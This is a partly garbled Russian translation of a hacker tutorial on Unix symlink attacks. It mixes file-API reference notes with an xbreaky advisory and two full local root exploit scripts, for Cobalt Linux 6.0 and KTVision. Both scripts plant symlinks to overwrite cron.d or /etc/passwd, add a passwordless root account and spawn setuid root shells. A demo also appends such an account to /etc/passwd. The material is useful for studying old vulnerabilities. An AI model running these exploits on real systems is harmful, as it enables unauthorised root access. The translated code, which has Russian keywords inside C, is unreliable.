ln [опция] для имени файла и ссылок. 
Составления ссылки на имя файла:

       Опции:

       -f  :  Если происходит вынужденное открытие ссылки
              (эта опция не требует подтверждения на разрешение).

       -n  : Не озаглавливает существующие файлы.

       -s  : Производит символическую ссылку.

        Пример:

      l0om@home:~/test> ln -s /etc/passwd ./symtest
      l0om@home:~/test> ls -l ./symtest
      lrwxrwxrwx    1   l0om  500    10 Nov  3 16:32 ./symtest -> /etc/passwd
      l0om@home:~/test> # puhh... now iam l337  ;)
      l0om@home:~/test> head -n 1 ./symtest
      root:x:0:0:root:/root:/bin/bash
      l0om@home:~/test> echo "owned" >>./symtest
     Permission denied.

############################NOTE##########################

          l0om@host:~> echo fun with the symbolic links
          l0om@host:~> mkdir dir1
          l0om@host:~> touch dir1/datei
          l0om@host:~> ln ../dir1 dir1/dir2
          l0om@host:~> ls -LR dir1
          l0om@host:~> ^C^C^C^  #Wow!

###########################################################

l0om@home:~> ls -l /etc/passwd
-r-xr-xr-x   1 root root  560  May 5 22:36 /etc/passwd

l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0

      l0om@home:~> ls -l /etc/passwd
     -r-xr-xr-x    1 l0om l0om  560  May 5 22:36 /etc/passwd

     l0om@home:~> chmod +w /etc/passwd
     l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd
     l0om@home:~> su Drl0om && echo "Schachmatt"

                        # No comment 

Definition

    #include 
    #include 
    #include 
int open(const char *имя файла, int flags, ... /*, mode_t modus*/ );

      O_RDONLY = файл открыт только для чтения .
      O_WRONLY = файл открыт только для записи.
      O_RDWR = файл открыт для чтения и записи.

     O_APPEND = файл открывается на запись вконце

     O_CREAT = файл появляется  по-новому если его не существует.
                            в этом случае также должен указываться третий аргумент.
                            Режим выкладывает права доступа для нового файла. 
                            Если файл уже существовал эта константа не имеет никаких воздействий

     O_EXCL =    в случае O_EXCL вместе с O_CREAT указаный файл не может
                           открываться если он уже существует  и open () -1 (для ошибки).

              ...

     Интересна следующая опция:
     l0om@home:~> man open

      /* start */
      ...
      int fd;
      ...
      fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666);  /* Omfg */
     /* break here */

    l0om@host:~> man creat

     Definition
      #include 
      FILE *fopen(const char *dateiname, const char *modus);

modus (режим): с этим аргументом устанавливается вид доступа...

         "r":           открывается только для чтения.
         "w":         открывается только для записи.
         "a":          открывается на запись в конце файла.
         " r + ":     открывается на письмо+чтение.
         " w + ":    открывается на письмо+чтение..
         " a + ":    открывается для чтения и письма, начиная с конца файла

#########################NOTE############################

Также нужно быть осторожным при создании файлов выгрузки с fopen (). 
Все по-новому заложенные файлы будут исполняться, ведь, согласно POSIX у них права доступа:
rw-rw-rw-
Это значит, что каждая вложенная в  содержание файла выгрузки функция доступна для чтения или 
модификации.
Но это собственно,  не проблемы напрямую связанные  с символическими ссылками, а вопрос прав 
доступа устанавливаемых для файлов. Поэтому мы оставляем эту проблему…

##########################################################

Stat структура:

struct stat {
mode_t st_mode;             /* Вид файла и права доступа */
ino_t st_ino;                     /* i-node номерr */
dev_t st_dev;                   /* Номер устройства */
dev_t st_rdev;                  /* Номер устройства для файловых устройств */
nlink_t st_nlink;               /*Количество ссылок */
uid_t st_uid;                     /* User-ID собственника */
gid_t st_gid;                     /* Group-ID собственникаs */
off_t st_size;                    /* величина в байтах нормального файла */
time_t st_atime;               /*время последнего доступа */
time_t st_mtime;              /*время последней модификации */
time_t st_ctime;               /* время последнего изменения i-nodes */
long st_blksize;                /* предварительные установки блочной величины */
long st_blocks;                 /* количество необходимых 512 -байтных блоков */
};

Makro             ВЕРНО если подставить

S_ISREG()           регулярный файл
S_ISDIR()             каталог
S_ISCHR()           ориентированное на знак устройство
S_ISBLK()            ориентированное на блок устройствоt 
S_ISFIFO()           FIFO или PIPE 
S_ISLNK()           символические ссылки
S_ISSOCK()        сокет

/* start */
...
структура stat атрибута;
...
if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"не регулярный файл\n");

                                   возврат -1; /* или другая статья */
                                }
...
/* end */

Definition

#include 
#include 

mode_t umask(mode_t maske);

                     возвращать, если доступна предыдущая маска.

константа         значение

S_IRUSR        право чтения для собственника
S_IWUSR       право записи для собственника
S_IXUSR       право исполнения для собственника
S_IRWXU      все права для собственника

S_IRGRP        право чтения для группы
S_IWGRP       правозаписи для группы
S_IXGRP        право исполнения для группы
S_IRWXG      все права для группы

S_IROTH       право чтения для других пользователей
S_IWOTH     право записи для других пользователей
S_IXOTH      право исполнения  для других пользователей
S_IRWXO    все три права для других пользователей

/* начало */
...
umask (0);/* разрешает все права доступа */
...
umask (S_IXWUSR | S_IRWXG | S_IRWXO);

/* эти установки не дают  пользователям группы открывать файл на исполнение со всеми тремя параметрами. */
 

creat ("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO);/* создаем файл со всеми правами доступа*/ 


/* таким образом мы получаем файл вида
   rw-------
   этот метод можно использовать и при параметрах fopen () или tmpfile () */
...

/* конец */

###############################################################################

1) xbreaky

###############################################################################

-----------------------------------------------------------------------

Title:             xbreaky symlink vulnerability

Author:            Marco van Berkum

Classification:    High risk

Date:              12/09/2002

Email:             [email protected]

Company:           OBIT

Company site:      http://www.obit.nl

Personal website:  http://ws.obit.nl

-----------------------------------------------------------------------

 

About xbreaky

-------------

xbreaky is a breakout game for X written by Dave Brul which can be downloaded

from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,

NetBSD tree and possibly others.


Problem

-------

By default xbreaky is installed as suid and can be abused to overwrite any file

on the filesystem, by any user.

 

Vulnerable versions

-------------------

All versions prior to 0.0.5

 

Exploit

-------

xbreaky uses $HOME/.breakyhighscores to write the highscores to, when

$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply

overwrites it as root user.

 

Example

-------

root@animal:/home/marco# echo "bla" >rootfile

root@animal:/home/marco# chmod 600 rootfile

root@animal:/home/marco# exit

logout

marco@animal:~$ ln -s rootfile .breakyhighscores

 

marco@animal:~$ xbreaky

 

Now I play a game and set highscore as user "lol", then I exit the game.

Its a nice game btw :)

 

marco@animal:~$ cat rootfile

cat: rootfile: Permission denied

marco@animal:~$ su -

Password:

root@animal:~# cat /home/marco/rootfile

lol <- voila, our highscore user

 

Author's response and solution

------------------------------

The author corrected the problem and released xbreaky 0.0.5

 

Credits

-------

Thanks to Dennis Oelkers for testing.

 

##############################################################################

 

2) Cobalt Linux 6.0 Local Root

 

##############################################################################

 

Good morning all,

   I would like to apologise if this is old news, however I dont quite 

recall seeing this come across here yet.  I just had a colo customer who 

was 100% up to date on cobalt release patches get owned with the following.

 

 

#!/bin/sh

#

# Cobalt Linux 6.0 Local Root Exploit

#

# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)

# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"

#

# Problem Source Code:

# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);

#

# Suggested Code:

# fd = mkstemp("/tmp/gmon.out-XXXXXX");

#

# Still need help Cobalt developers? Ok:

# man 3 tmpfile; man 2 open; echo "Thanks core"

#

# by Charles Stevenson 

#

# Fri Jun 28 03:35:53 MDT 2002

# - initial version

# Sun Jul 7 20:12:41 MDT 2002

# - added some features for robustness

 

echo "RaQFuCK.sh by core"

 

target="/usr/lib/authenticate"

tempdir="/tmp"

 

if [ -u /.sushi ] ; then

exec /.sushi

fi

 

printf "Checking for $target..."

if [ -f "$target" ] ; then

echo "done."

else

echo "NO!"

exit 1

fi

 

printf "Checking if $target is setuid root..."

if [ -u "$target" ] ; then

echo "done."

else

echo "NO! Hrm... does this admin have a clue???"

exit 1

fi

 

if [ ! -d "$tempdir/core" ]; then

printf "Creating $tempdir/core..."

if ! mkdir "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

fi

echo "done."

fi

 

printf "Changing directory to $tempdir/core..."

if ! cd "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Creating cron.d symlink..."

if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Changing umask..."

if ! umask 000 ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling root shell..."

cat >sushi.c <

int main (int argc, char **argv, char **envp) {

setuid(0);

setgid(0);

execve("/bin/sh",argv,envp);

return -1;

}

EOF

if ! cc sushi.c -o sushi 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling cron takeover..."

cat >takeover.c <

main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }

EOF

if ! cc takeover.c -o own 2>/dev/null; then

echo "FAILED!" ; exit 1

fi

echo "done."

 

printf "Performing symlink attack..."

printf "\n\n\n\n" | "$target"

if [ -u /etc/cron.d/core ] ; then

echo "SYMLINK ATTACK FAILED!" && exit 1

else

echo "done."

fi

 

printf "Setting up evil cron job..."

cat >croncore </dev/null >/etc/cron.d/core; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Waiting for root shell"

while [ ! -u /.sushi ] ; do

sleep 1 ; printf "."

done

echo "done."

 

cd /

 

printf "Cleaning up real quick..."

if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then

echo "FAILED??? Fuck it!"

else

echo "done."

fi

 

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"

if ! exec /.sushi -i; then

echo "Exec Failed!!! BUMMER!" ; exit 1

fi

 

################################################################################


3) Symlinks Symlinks - This time KTVison


################################################################################


Hi ppl,

the subject already states the problem: there is a symlink follow

problem in the (in many distributions suid root) ktvision binary <=

0.1.1-271.


It is discouraging that nowadays such trivial symlink attacks are still

possible. No comment anymore. In order to be complete: a bash script

demonstrating this vulnerability is attached below.

 

Ihq.

 

------------------------- ktv.sh -------------------------------

#!/bin/bash
 

link=/home/paul/.kde/share/config

linkto=/etc/passwd

target=/opt/kde/bin/ktvision

 

echo ""

echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"

echo ""

 

if ! test -u $target ; then

    echo "[-] $target not found"

    exit 1

fi;

 

echo "[+] $target found"

 

rm -f sush*

cat <<__DUPA__>>sush.c

#include 

main()

{

    setuid(geteuid());

    setgid(getegid());

    execl("/bin/bash", "/bin/bash", NULL);

}

__DUPA__

 

echo "    compiling sush"

res=$(gcc sush.c -o sush)

 

if test "$res" != "" -o ! -x sush ; then

    echo "[-] failed"

    rm sush* ktvback.*

    exit 2;

fi;

 

echo "[+] success"

 

cp $linkto ktvback.$$

mkdir -p $link

rm -f $link/ktvisionrc

ln -s $linkto $link/ktvisionrc

 

echo ""

echo -n "now running... (ensure that X is up and running)"

 

$target >/dev/null 2>&1 &

cpid=$!

 

declare -i cnt

 

declare -i max

cnt=0

max=60

 

while ! test -O $linkto ; do

    sleep 1;

    printf "  %.2d" $cnt

    cnt=$(($cnt+1))

    if test $cnt -ge $max ; then

         echo ""

         echo ""

         echo "[-] FAILED"

         rm sush* ktvback.*

         exit 2;

    fi;

done;

 

kill -9 $cpid >/dev/null 2>&1

rm $link/ktvisionrc

 

echo ""

echo ""

echo "[+] SUCCESS, creating sush"

echo >>$linkto "r00t::0:0:root:/root:/bin/bash"

echo ""

su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp

ktvback.$$ $linkto; chown 0.0 $linkto"

rm ktvback.* sush.c

 

if ! test -u sush ; then

        echo "    hm strange error"

    rm sush* ktvback.*

        exit 1

fi;

 

echo ""

echo "starting ./sush"

./sush